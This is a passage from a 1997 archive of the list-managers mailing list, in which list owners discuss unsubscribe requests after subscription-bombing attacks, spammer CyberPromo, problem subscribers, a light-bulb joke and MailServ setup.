Apr 1997 13:17:08 -0600 (MDT) Message-Id: <199704151917.NAA04672@kitsune.swcp.com> Subject: Picking up the pieces To: list-managers@greatcircle.com (lm) Date: Tue, 15 Apr 1997 13:17:07 -0600 (MDT) From: "Lazlo Nibble" X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > Any opinions on the policy of carrying out sign-off requests that > are sent to mailing lists? Given that all my lists include instructions for leaving at the bottom of every posting that goes out over them, I generally ignore them. But in the case you describe I'd certainly encourage a list admin to do the right thing and honor the requests, however misdirected -- the admin is at least partially at fault for leaving their list open to this kind of abuse in the first place. > Any thoughts about the best way for a list administrator to reduce or > avoid such situations [...?] Force confirmation on all subscription requests. The current version of majordomo makes this easy; I assume other list packages do as well. -- ::: Lazlo (lazlo@swcp.com; http://www.swcp.com/lazlo) ::: Internet Music Wantlists: http://www.swcp.com/lazlo/Wantlists From owner-list-managers-outgoing Tue Apr 15 12:39:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA21751 for list-managers-outgoing; Tue, 15 Apr 1997 12:31:28 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA21744 for ; Tue, 15 Apr 1997 12:31:23 -0700 (PDT) Received: from onramp.armchair.mb.ca (onramp.armchair.mb.ca [198.163.115.1]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id MAA05440 for ; Tue, 15 Apr 1997 12:32:07 -0700 (PDT) Received: from dave (dave.armchair.mb.ca [198.163.115.50]) by onramp.armchair.mb.ca (8.8.5/8.6.9) with SMTP id NAA01046 for ; Tue, 15 Apr 1997 13:19:53 -0500 Message-Id: <3.0.1.32.19970415141817.00b5c340@armchair.mb.ca> X-Sender: dave@armchair.mb.ca X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Tue, 15 Apr 1997 14:18:17 -0500 To: list-managers@GreatCircle.COM From: Dave Voorhis Subject: Re: CyberPromo In-Reply-To: <3.0.1.32.19970415112232.006cac1c@klstools.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 11:22 AM 4/15/97 -0400, you wrote: >I don't know if this will work or not, but I called CyberPromo >(800-650-9110) and requested that my domains be removed from their "lists." I'm curious -- did you speak to a live human, or an answering machine? If you got a human, how did he or she react? Dave Voorhis mailto:dave@armchair.mb.ca http://www.armchair.mb.ca/~dave From owner-list-managers-outgoing Tue Apr 15 12:47:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA22505 for list-managers-outgoing; Tue, 15 Apr 1997 12:35:31 -0700 (PDT) Received: from grinch.whoville.leftbank.com (grinch.leftbank.com [139.167.128.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id MAA22481 for ; Tue, 15 Apr 1997 12:35:22 -0700 (PDT) Received: from zax.whoville.leftbank.com by grinch.whoville.leftbank.com via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 15 Apr 1997 19:34:42 UT Received: (from nmehl@localhost) by zax.leftbank.com (8.7.5/8.7.3/LeftBank-1.1/http://www.leftbank.com/) id PAA27873; Tue, 15 Apr 1997 15:34:45 -0400 (EDT) From: "Nathan J. Mehl" Message-Id: <199704151934.PAA27873@zax.leftbank.com> Subject: Re: CyberPromo To: ken@klstools.com (Ken Kyler) Date: Tue, 15 Apr 1997 15:34:44 -0400 (EDT) Cc: list-managers@GreatCircle.COM In-Reply-To: <3.0.1.32.19970415112232.006cac1c@klstools.com> from "Ken Kyler" at Apr 15, 97 11:22:32 am X-Abby-Says: Nathan, you keep getting to be the first person who does things to me X-My-Minions: Took over Lunacon...and Minbar. X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk In the immortal words of Ken Kyler: > I don't know if this will work or not, but I called CyberPromo > (800-650-9110) and requested that my domains be removed from their "lists." > Wish me luck ... I'd wish you luck, but I'd be wasting my time just like you're wasting yours. Cyberpromo does _not_ honor remove requests. Full stop. They don't read them, they don't act on them, they have no means of tracking, executing, filing or verifying them. They are _lying_ when they say they will remove you from their lists on request. I cannot put it any more plainly than that. -n -- Don't blame me -- I voted for the Unabomber! Nathan J. Mehl -- The Left Bank Operation (work) nmehl@leftbank.com -- http://www.leftbank.com (play) memory@blank.org -- http://ccat.sas.upenn.edu/nmehl/ From owner-list-managers-outgoing Tue Apr 15 13:09:47 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA26688 for list-managers-outgoing; Tue, 15 Apr 1997 13:01:16 -0700 (PDT) Received: from eagle.inetnebr.com (eagle.inetnebr.com [199.184.119.14]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA26596 for ; Tue, 15 Apr 1997 13:00:52 -0700 (PDT) Received: from carrot.tssi.com (root@gateway.tssi.com [198.147.197.29]) by eagle.inetnebr.com (8.8.5/8.8.5) with ESMTP id OAA11516 for ; Tue, 15 Apr 1997 14:59:54 -0500 (CDT) Received: from celery.tssi.com (carrot.tssi.com) by carrot.tssi.com (8.6.12/8.6.9) with ESMTP id OAA15060 for ; Tue, 15 Apr 1997 14:59:55 -0500 Received: (from celery.tssi.com) by celery.tssi.com (8.7.5/8.7.3) id OAA01175 for list-managers@GreatCircle.com; Tue, 15 Apr 1997 14:59:52 -0500 From: Mike Nolan Message-Id: <199704151959.OAA01175@celery.tssi.com> Subject: Picking up the pieces To: list-managers@GreatCircle.com (List Managers) Date: Tue, 15 Apr 1997 14:59:52 -0500 (CDT) Reply-To: nolan@tssi.com X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > From: "John M. Wobus" > > Any opinions on the policy of carrying out sign-off requests that > are sent to mailing lists? It sort of depends on how big and active your list is, but for the most part when unwilling or clueless people get on my lists and want off I do what I can to get them off quickly. Here's why: First, consider the victim's plight. If you were subscribed to 100 lists (or more) without your consent, and were being deluged with mail as a result, how easy would it be to pick out the proper instructions from each and send a correctly coded message? (Not all lists use the same list management tool, resulting in at least three variants on the proper procedure and a 'reply' to the list generally doesn't get to the administrative address.) Then consider your other subscribers, who aren't there to receive administrative e-mail, especially ones that are written in anger or laced with unnecessary vulgarities. Subscription confirmation protocols will help reduce the problem, but until we can all convert to them I think we just have to do what's expedient. -- Mike Nolan From owner-list-managers-outgoing Tue Apr 15 13:17:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA25893 for list-managers-outgoing; Tue, 15 Apr 1997 12:56:48 -0700 (PDT) Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA25877 for ; Tue, 15 Apr 1997 12:56:38 -0700 (PDT) Received: from scv4.apple.com (A17-128-100-142.apple.com [17.128.100.142]) by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id MAA63150; Tue, 15 Apr 1997 12:53:59 -0700 Received: from mail-in2.apple.com (mail-in2.apple.com [17.254.0.58]) by scv4.apple.com (8.8.5/8.8.5) with ESMTP id MAA20228; Tue, 15 Apr 1997 12:56:32 -0700 Received: from [17.219.12.99] (chuqui.apple.com [17.219.12.99]) by mail-in2.apple.com (8.8.5/8.8.5) with ESMTP id MAA124582; Tue, 15 Apr 1997 12:55:23 -0700 Message-Id: In-Reply-To: <199704151616.MAA12504@spider.syr.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 15 Apr 1997 12:36:57 -0700 To: "John M. Wobus" , list-managers@GreatCircle.COM From: Chuq Von Rospach Subject: Re: Picking up the pieces Cc: jmwobus@MailBox.Syr.Edu Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 9:16 AM -0700 4/15/97, John M. Wobus wrote: >Any opinions on the policy of carrying out sign-off requests that >are sent to mailing lists? I don't. I send them a piece of boilerplate that tells them how it ought to work. I wont' encourge bad behavior by letting it "work" -- even if the first thing they do is write me private e-mail and ask for help. I've found about 95% follow the directions without anything more from me, the rest ask for help, and about 1 in 300 call me rude or arrogant. >(5) More than one of the victims responded with messages like "I didn't > join your ****ing list, now take me off!!" "Why should *I* have to > do anything, I didn't join your **** **** list." Some also started > responding to every post to the list with a response that copied > the original post and appended the response (not in so many words) > "Please take me off this list!" > >(6) All this continued for a while. Unfortunate. One reason why mail lists need better anti-admin filters, unfortunately. My response to those who won't follow the directions is "I"m helping you learn how to do it right. What would you do if the admin wasn't around or ignored you?" and we all know that not all of the mail lists in the world have active landlords.... "If you're doing it wrong, why should you expect it to work?" also gets through to some of them... Sometimes this might cause more problems for my list, when someone refuses to act reasonably (and then I generally have a chat with their admin...), but I think it helps cut the noise/problems in the future, so maybe someone learns and/or some other list is saved later. -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-list-managers-outgoing Tue Apr 15 14:12:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA04598 for list-managers-outgoing; Tue, 15 Apr 1997 13:41:25 -0700 (PDT) Received: from vms1.isc.rit.edu (vms1.isc.rit.edu [129.21.3.8]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA03958 for ; Tue, 15 Apr 1997 13:39:17 -0700 (PDT) From: ANDPPH@ritvax.isc.rit.edu Received: from ritvax.isc.rit.edu by ritvax.isc.rit.edu (PMDF V5.1-8 #21575) id <01IHQO03715CAR78EI@ritvax.isc.rit.edu> for list-managers@GreatCircle.com; Tue, 15 Apr 1997 16:38:22 EST Date: Tue, 15 Apr 1997 16:24:29 -0500 (EST) Subject: Dealing with problem subscribers In-reply-to: "Your message dated Tue, 15 Apr 1997 14:59:52 -0500 (CDT)" <199704151959.OAA01175@celery.tssi.com> To: Mike Nolan Cc: list-managers@GreatCircle.com, ANDPPH@ritvax.isc.rit.edu Message-id: <01IHQOYKFTR2AR78EI@ritvax.isc.rit.edu> MIME-version: 1.0 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Before getting to the subject ... what constitutes an "active" list and a not-so-active one? I wonder where 1,000 members and 50-100 postings per day stands in the "hierarchy"? As for the actual topic, I use a CREN program (listproc?) (we call it listserv here) ... anyway, a couple of not truly abusive but marginally obnoxious people are monopolizing my list. I have asked them politely to please use some sensibility and tact when posting messages and although I get assurnaces of such they reply to many postings with one liners, add a "dig" at the end of their messages, etc. The bottom line is that I think people who could contribute a great deal are getting frustrated and leaving the list. I am trying to figure out what to do. I could just say to myself that they are not worth spending time over and just sign them off and block their access to the list ... but some would construe this as unjust, etc., etc. I have been thinking of making the list moderated (at whatver risks that might entail) maybe for a period of time and that way I'd have a semi-justifiable means for stopping "upsetting-for-no-good-reason" (of course _in my view_ ... actinge essentially as a censor) postings. Can someone provide me with some advice? thanks much, andy Andrew Davidhazy, andpph@rit.edu - for PhotoForum on the Internet From owner-list-managers-outgoing Tue Apr 15 14:25:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA13476 for list-managers-outgoing; Tue, 15 Apr 1997 14:23:58 -0700 (PDT) Received: from urth.acsu.buffalo.edu (urth.acsu.buffalo.edu [128.205.7.9]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA13419 for ; Tue, 15 Apr 1997 14:23:42 -0700 (PDT) Received: (qmail 2100 invoked by uid 305); 15 Apr 1997 21:22:58 -0000 To: "John M. Wobus" Cc: list-managers@GreatCircle.COM Subject: Re: Picking up the pieces References: <199704151616.MAA12504@spider.syr.edu> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII From: Paul Graham Date: 15 Apr 1997 17:22:58 -0400 In-Reply-To: "John M. Wobus"'s message of Tue, 15 Apr 1997 12:16:06 -0400 Message-ID: Lines: 30 X-Mailer: Gnus v5.4.45/XEmacs 19.15 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >>>>> "jmwobus" == John M Wobus writes: jmwobus> Any opinions on the policy of carrying out sign-off requests jmwobus> that are sent to mailing lists? sadly it seems one must be prepared to do this or to have other list members be annoyed by ``get-me-offers''. jmwobus> Any thoughts about the best way for a list administrator to jmwobus> reduce or avoid such situations, and about to handle them when jmwobus> they arise? in todays world lists that don't do subscription confirmation seem to be an accident waiting to happen. however any list that doesn't send a sign-up message explaining what it's about and instructions about how to get off is also two steps behind. delaying normal list traffic for some time after sign-up is also a good idea if people can get to the list archive. jmwobus> Should list administrators scan for and carry out all jmwobus> requests to sign off that are posted to their lists? i think they should scan for requests and forward them to the sign-off mechanism which should be doing some confirmation procedure. one doesn't normally want to be put on lists or removed from them by third parties. -- paul pjg@acsu.Buffalo.EDU |public keys at: | http://urth.acsu.Buffalo.EDU/~pjg/key.html if the above contains opinions they are mine unless marked otherwise. From owner-list-managers-outgoing Tue Apr 15 14:32:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA25859 for list-managers-outgoing; Tue, 15 Apr 1997 12:56:31 -0700 (PDT) Received: from duticai.twi.tudelft.nl (duticai.twi.tudelft.nl [130.161.159.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA25835 for ; Tue, 15 Apr 1997 12:56:21 -0700 (PDT) Received: (from winfave@localhost) by duticai.twi.tudelft.nl (8.8.5/8.8.5) id VAA07996; Tue, 15 Apr 1997 21:55:22 +0200 (MET DST) From: Alexander Verbraeck Message-Id: <199704151955.VAA07996@duticai.twi.tudelft.nl> Subject: Re: Picking up the pieces To: lazlo@swcp.com Date: Tue, 15 Apr 1997 21:55:21 +0200 (MET DST) Cc: list-managers@greatcircle.com, winfave@duticai.twi.tudelft.nl In-Reply-To: <199704151917.NAA04672@kitsune.swcp.com> from "Lazlo Nibble" at Apr 15, 97 01:17:07 pm X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > > Any opinions on the policy of carrying out sign-off requests that > > are sent to mailing lists? > > Given that all my lists include instructions for leaving at the bottom of > every posting that goes out over them, I generally ignore them. But in the > case you describe I'd certainly encourage a list admin to do the right thing > and honor the requests, however misdirected -- the admin is at least partially > at fault for leaving their list open to this kind of abuse in the first place. > > > Any thoughts about the best way for a list administrator to reduce or > > avoid such situations [...?] > > Force confirmation on all subscription requests. The current version of > majordomo makes this easy; I assume other list packages do as well. Given the fact that the subscription attacks we are experiencing right now take different forms, it is not as easy as that (although it helps): 1. I have several cases where the account of a user was violated overnight (bad choice of password?) and the hackers subscribed the user from his/her OWN account to thousands of lists. 2. The subscription address that is forged is not always the same as the From: address of the user. It might be an alias, there might be some extra machine names inbetween, that do not influence the delivery of the e-mail but do make the sign off very difficult for the ordinary user. 3. There is a shift now from just subscribing to subscription AND requesting all kinds of help-files, archives, welcome messages, information on lists, etc. Although the subscription itself is not carried out, the user still has hundreds to thousands of mail messages to wade through. So, subscription requests is one, active monitoring of the traffic for the list itself and the listserver, majordomo or other processor is another, if necessary followed by more extensive filtering. I scan the ENTIRE e-mail messages now automatically for dangerous addresses/domains and for typical wording of users that want off the list asap. All end up in my personal e-mail box, so I can take care of it immediately if necessary. I found out that the worst thing that can happen is that hackers are able to affect the actual discussions on the list (directly by spam messages or indirectly by users screaming to be taken off the list). So if taking off users that have unwillingly be subscribed to lots of lists (some of them have been subscribed to hundreds -- think about the time to personally sign off to all of them) helps to reduce the unwanted postings to the list, just do it. A last tip that might be useful (it helped me) is to make a copy of the subscriber file every day or every few days (depending on the frequency of changes) and display the differences between the current file and the last one saved (i.e. with diff on a Unix system) and look for strange additions. Kind regards, Alexander Verbraeck List Manager BPR-L, DYNMOD-L ----------------------------------------------------------------- Dr. Alexander Verbraeck Delft University of Technology Department of Systems Engineering, Policy Analysis and Management Jaffalaan 5 P.O. Box 5015, 2600 GA Delft The Netherlands Tel: +31 15 2783805 Secr: +31 15 2788380 Fax: +31 15 2783429 e-mail: A.Verbraeck@sepa.tudelft.nl List manager BPR-L, DYNMOD-L http://www.sepa.tudelft.nl/~alexandv/ See also ..../bpr-l.html ----------------------------------------------------------------- From owner-list-managers-outgoing Tue Apr 15 15:09:45 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA22937 for list-managers-outgoing; Tue, 15 Apr 1997 15:08:49 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id PAA22906 for ; Tue, 15 Apr 1997 15:08:39 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 15 Apr 1997 18:15:12 -0400 Message-Id: In-Reply-To: <01IHQOYKFTR2AR78EI@ritvax.isc.rit.edu> References: "Your message dated Tue, 15 Apr 1997 14:59:52 -0500 (CDT)" <199704151959.OAA01175@celery.tssi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Tue, 15 Apr 1997 18:15:05 -0400 To: List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: Dealing with problem subscribers Cc: ANDPPH@ritvax.isc.rit.edu Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 16:24 -0500 4/15/97, ANDPPH@ritvax.isc.rit.edu said: >As for the actual topic, I use a CREN program (listproc?) Yes, ListProc. >(we call it listserv here) L-Soft's lawyers will probably be there in the morning, then. ;-) >such they reply to many postings with one liners, add a "dig" at the end of >their messages, etc. The bottom line is that I think people who could >contribute a great deal are getting frustrated and leaving the list. I guess I need to mention at this point that I'm a utilitarian, because ... >I am trying to figure out what to do. I could just say to myself that they are >not worth spending time over and just sign them off and block their access to >the list ... but some would construe this as unjust, etc., etc. ... I do not believe in people's "rights" to access/use resources for which thay are not paying. If they are being obnoxious, warn them to cut the crap or they're history. Second offenders go into the .ignore file. >I have been thinking of making the list moderated (at whatver risks that >might entail) maybe for a period of time and that way I'd have a >semi-justifiable means for stopping "upsetting-for-no-good-reason" (of course >_in my view_ ... actinge essentially as a censor) postings. This is certainly a viable solution, but moderation requires a substantial investment of time on your part (trust me on this; you probably have no idea just HOW large an investment until you've been there). Why should YOU have to pay for THEIR abuse of the services? >Can someone provide me with some advice? Yeah: Final warning. After that, .ignore-file them: ignore
(If you want to be a nice guy, .ignore-file them for a week or so, then let them back on with the understanding that the second time you have to issue the command will also be the last.) - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to . (Finally out of beta! :-) -- From owner-list-managers-outgoing Tue Apr 15 15:24:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA24603 for list-managers-outgoing; Tue, 15 Apr 1997 15:17:53 -0700 (PDT) Received: from iquest3.iquest.net (iquest3.iquest.net [206.246.190.103]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id PAA24587 for ; Tue, 15 Apr 1997 15:17:42 -0700 (PDT) Message-Id: <199704152217.PAA24587@honor.greatcircle.com> Received: (qmail 18569 invoked from network); 15 Apr 1997 22:17:00 -0000 Received: from iquest7-140.iquest.net (HELO iquest7.iquest.net) (206.246.140.107) by iquest3-140.iquest.net with SMTP; 15 Apr 1997 22:17:00 -0000 Received: (qmail 4646 invoked from network); 15 Apr 1997 22:16:57 -0000 Received: from ind-0014-6.iquest.net (HELO Amy) (206.53.236.38) by iquest7-140.iquest.net with SMTP; 15 Apr 1997 22:16:57 -0000 Comments: Authenticated sender is From: "Amy Stinson" To: list-managers@GreatCircle.com Date: Tue, 15 Apr 1997 17:16:06 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: How many list members does it take...? Reply-to: amys@iquest.net X-mailer: Pegasus Mail for Windows (v2.52) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk This was sent to my list by a friendly person after a particularly heated discussion over the apparent value of various operating systems (on a machine-knitting list). > >Q: How many internet mail list subscribers does it take > to change a light bulb? > >A: 1,331: > 1 to change the light bulb and to post to the mail > list that the light bulb has been changed > 14 to share similar experiences of changing light > bulbs and how the light bulb could have been > changed differently. > 7 to caution about the dangers of changing light bulbs. > 27 to point out spelling/grammar errors in posts about > changing light bulbs. > 53 to flame the spell checkers > 156 to write to the list administrator complaining about > the light bulb discussion and its inappropriateness > to this mail list. > 41 to correct spelling in the spelling/grammar flames. > 109 to post that this list is not about light bulbs and > to please take this email exchange to alt.lite.bulb > 203 to demand that cross posting to alt.grammar, > alt.spelling and alt.punctuation about changing > light bulbs be stopped. > 111 to defend the posting to this list saying that we > are all use light bulbs and therefore the posts > **are** relevant to this mail list. > 306 to debate which method of changing light > bulbs is superior, where to buy the best light bulbs, > what brand of light bulbs work best for this > technique, and what brands are faulty. > 27 to post URLs where one can see examples of > different light bulbs > 14 to post that the URLs were posted incorrectly, and > to post corrected URLs. > 3 to post about links they found from the URLs that > are relevant to this list which makes light bulbs > relevant to this list. > 33 to concatenate all posts to date, then quote > them including all headers and footers, and then > add "Me Too." > 12 to post to the list that they are unsubscribing > because they cannot handle the light bulb > controversey. > 19 to quote the "Me Too's" to say, "Me Three." > 4 to suggest that posters request the light bulb FAQ. > 1 to propose new alt.change.lite.bulb newsgroup. > 47 to say this is just what alt.physic.cold_fusion > was meant for, leave it here. > 143 votes for alt.lite.bulb. From owner-list-managers-outgoing Tue Apr 15 16:38:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA00908 for list-managers-outgoing; Tue, 15 Apr 1997 15:50:25 -0700 (PDT) Received: from ginger.vnet.net (ginger.vnet.net [166.82.1.69]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id PAA00863 for ; Tue, 15 Apr 1997 15:50:12 -0700 (PDT) Received: from katie.vnet.net (murr@katie.vnet.net [166.82.1.7]) by ginger.vnet.net (8.8.4/8.8.2) with ESMTP id SAA10824 for ; Tue, 15 Apr 1997 18:49:46 -0400 (EDT) Received: from localhost (murr@localhost) by katie.vnet.net (8.7.6/8.7.3) with SMTP id SAA06834 for ; Tue, 15 Apr 1997 18:41:09 -0400 (EDT) X-Authentication-Warning: katie.vnet.net: murr owned process doing -bs Date: Tue, 15 Apr 1997 18:41:08 -0400 (EDT) From: murr rhame Reply-To: murr rhame To: List-Managers@GreatCircle.COM Subject: Re: Dealing with problem subscribers In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Tue, 15 Apr 1997, Vince Sabio wrote: > ... I do not believe in people's "rights" to access/use resources for > which thay are not paying. If they are being obnoxious, warn them to cut > the crap or they're history. Second offenders go into the .ignore file. I agree with Vince with regards to obnoxious subscribers. It only takes a few idiots to kill a good mailing list. The listowner is providing the facilities. The listowner can establish the rules of the forum. In most cases simple diplomacy will work with a problem subscribers. If diplomacy fails, show them the exit. I've run several unmoderated lists for over three years. I have never booted a subscriber for their behaviour on the list. On the other hand, if they didn't take the hint, I would use the .ignored file and or kill their subscription. Writing a list charter (welcome file) which defines the purpose of the list and describes acceptable use is the first step. It takes more than a a name to define a mailing list. Decide what is appropriate for your list. Write it down. Post the charter. Ask for comments on the charter. When you have the charter defined, enforce it as need be. If you have some subscribers who prefer anything-goes forums, let them tough it out on Usenet. - murr - From owner-list-managers-outgoing Tue Apr 15 17:54:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA18810 for list-managers-outgoing; Tue, 15 Apr 1997 17:34:09 -0700 (PDT) Received: from badger.jsc.vsc.edu (badger.jsc.vsc.edu [155.42.31.15]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id RAA18697 for ; Tue, 15 Apr 1997 17:33:19 -0700 (PDT) Received: by badger.jsc.vsc.edu (AIX 3.2/UCB 5.64/4.03) id AA12347; Tue, 15 Apr 1997 20:32:37 -0400 Date: Tue, 15 Apr 1997 20:32:36 -0400 (EDT) From: Donald Timothy Koch / Appt # 13 To: Amy Stinson Cc: list-managers@GreatCircle.com Subject: Re: How many list members does it take...? In-Reply-To: <199704152217.PAA24587@honor.greatcircle.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk 1) This is a mailing list, not a mail list. :) 2) spelling/grammar is not a word. :) (Should be spelling AND grammar) :) Count me in the numbered. Donald Koch On Tue, 15 Apr 1997, Amy Stinson wrote: > This was sent to my list by a friendly person after a > particularly heated discussion over the apparent value of various > operating systems (on a machine-knitting list). > > > > >Q: How many internet mail list subscribers does it take > > to change a light bulb? > > > >A: 1,331: > > 1 to change the light bulb and to post to the mail > > list that the light bulb has been changed > > 14 to share similar experiences of changing light > > bulbs and how the light bulb could have been > > changed differently. > > 7 to caution about the dangers of changing light bulbs. > > 27 to point out spelling/grammar errors in posts about > > changing light bulbs. > > 53 to flame the spell checkers > > 156 to write to the list administrator complaining about > > the light bulb discussion and its inappropriateness > > to this mail list. > > 41 to correct spelling in the spelling/grammar flames. > > 109 to post that this list is not about light bulbs and > > to please take this email exchange to alt.lite.bulb > > 203 to demand that cross posting to alt.grammar, > > alt.spelling and alt.punctuation about changing > > light bulbs be stopped. > > 111 to defend the posting to this list saying that we > > are all use light bulbs and therefore the posts > > **are** relevant to this mail list. > > 306 to debate which method of changing light > > bulbs is superior, where to buy the best light bulbs, > > what brand of light bulbs work best for this > > technique, and what brands are faulty. > > 27 to post URLs where one can see examples of > > different light bulbs > > 14 to post that the URLs were posted incorrectly, and > > to post corrected URLs. > > 3 to post about links they found from the URLs that > > are relevant to this list which makes light bulbs > > relevant to this list. > > 33 to concatenate all posts to date, then quote > > them including all headers and footers, and then > > add "Me Too." > > 12 to post to the list that they are unsubscribing > > because they cannot handle the light bulb > > controversey. > > 19 to quote the "Me Too's" to say, "Me Three." > > 4 to suggest that posters request the light bulb FAQ. > > 1 to propose new alt.change.lite.bulb newsgroup. > > 47 to say this is just what alt.physic.cold_fusion > > was meant for, leave it here. > > 143 votes for alt.lite.bulb. > ****************************************************************************** Donald T. Koch kochd@badger.jsc.vsc.edu http://www.angelfire.com/vt/kochd ****************************************************************************** From owner-list-managers-outgoing Tue Apr 15 19:25:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA05037 for list-managers-outgoing; Tue, 15 Apr 1997 19:06:18 -0700 (PDT) Received: from planetx.org (planetx.org [205.179.247.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id TAA04976 for ; Tue, 15 Apr 1997 19:06:00 -0700 (PDT) Received: (from jenn@localhost) by planetx.org (8.7.5/8.7.3) id TAA07837 for list-managers@greatcircle.com; Tue, 15 Apr 1997 19:04:50 -0700 (PDT) From: Jennifer Accettola Message-Id: <199704160204.TAA07837@planetx.org> Subject: web interfaces To: list-managers@greatcircle.com Date: Tue, 15 Apr 1997 19:04:49 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Hi All -- I have been trying to get MailServ set up, and was wondering if anyone on the list has experience with this type of software. THe site that I will put this interface on also has a mailcat form that sends info the user provides to the appropriate person. I'd liek to know if I can use mailcat and MailServ on the same page or am I going to have to put up a separate page for subscribing to the list? Ciao, Jenn The revolution will not be televised. http://www.planetx.org/~jenn jenn@planetx.org From owner-list-managers-outgoing Tue Apr 15 22:54:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA16544 for list-managers-outgoing; Tue, 15 Apr 1997 22:37:18 -0700 (PDT) Received: from random.tpgi.com.au (random.tpgi.com.au [203.12.160.7]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id WAA16499 for ; Tue, 15 Apr 1997 22:37:05 -0700 (PDT) Received: from bri-ppp-059.tpgi.com.au (bri-ppp-059.tpgi.com.au [203.12.164.59]) by random.tpgi.com.au (8.8.4/8.8.4) with SMTP id PAA26615 for ; Wed, 16 Apr 1997 15:35:59 +1000 (EST) Date: Wed, 16 Apr 1997 15:35:59 +1000 (EST) Message-Id: <199704160535.PAA26615@random.tpgi.com.au> X-Sender: rmanthe@bri-mail.tpgi.com.au X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: list-managers@GreatCircle.COM From: RibMan@tpgi.com.au (Rob «RibMan») Subject: Re: (powd) nmoc: How many list members does it take...? Sender: list-managers-owner@GreatCircle.COM Precedence: bulk The amiable result from one list member ... >From: Kylie Philippe >Subject: Re: (powd) nmoc: How many list members does it take...? >To: powderworks@cs.colorado.edu > >> Ribman wrote: >>Hope this is as funny to you as it was to me ... >>>Q: How many internet mail list subscribers does it take >>> to change a light bulb? >>>A: 